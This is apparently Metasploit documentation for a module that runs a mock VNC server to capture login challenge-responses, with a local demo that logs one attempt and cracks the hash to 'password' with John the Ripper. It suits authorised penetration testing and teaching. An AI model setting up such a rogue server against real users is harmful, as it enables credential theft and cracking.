metasploit-framework/documentation/modules/auxiliary/server/capture/vnc.md

This module creates a mock VNC server which accepts credentials. Upon receiving a login attempt, an Authentication failure error is thrown.

Verification Steps

1. Start msfconsole
2. Do: use auxiliary/server/capture/vnc
3. Do: run

Options

CHALLENGE

The 16 byte challenge used in the authentication. Default is 00112233445566778899aabbccddeeff.

JOHNPWFILE

Write a file containing a John the Ripper format for cracking the credentials. Default is ``.

SSL

Boolean if SSL should be used. Default is False.

SSLCert

File path to a combined Private Key and Certificate file. If not provided, a certificate will be automatically generated. Default is ``.

Scenarios

VNC with vncviewer and JTR Cracking

Server, Client:

msf5 > use auxiliary/server/capture/vnc 
msf5 auxiliary(server/capture/vnc) > use auxiliary/server/capture/vnc 
msf5 auxiliary(server/capture/vnc) > set johnpwfile /tmp/john
johnpwfile => /tmp/john
msf5 auxiliary(server/capture/vnc) > run
[*] Auxiliary module running as background job 0.
msf5 auxiliary(server/capture/vnc) > 
[*] Started service listener on 0.0.0.0:5900 
[*] Server started.

msf5 auxiliary(server/capture/vnc) > vncviewer 127.0.0.1
[*] exec: vncviewer 127.0.0.1

Connected to RFB server, using protocol version 3.7
Performing standard VNC authentication
Password: 
Authentication failure

[+] 127.0.0.1:40240 - Challenge: 00112233445566778899aabbccddeeff; Response: b7b9c87777661a7a2299733209bfdfce

John the Ripper (JTR) Cracker:

msf5 auxiliary(server/capture/vnc) > john /tmp/john_vnc
[*] exec: john /tmp/john_vnc

Using default input encoding: UTF-8
Loaded 1 password hash (VNC [DES 32/64])
Press 'q' or Ctrl-C to abort, almost any other key for status
password         (?)
1g 0:00:00:00 DONE 2/3 (2018-11-11 20:38) 25.00g/s 75.00p/s 75.00c/s 75.00C/s password
Use the "--show" option to display all of the cracked passwords reliably
Session completed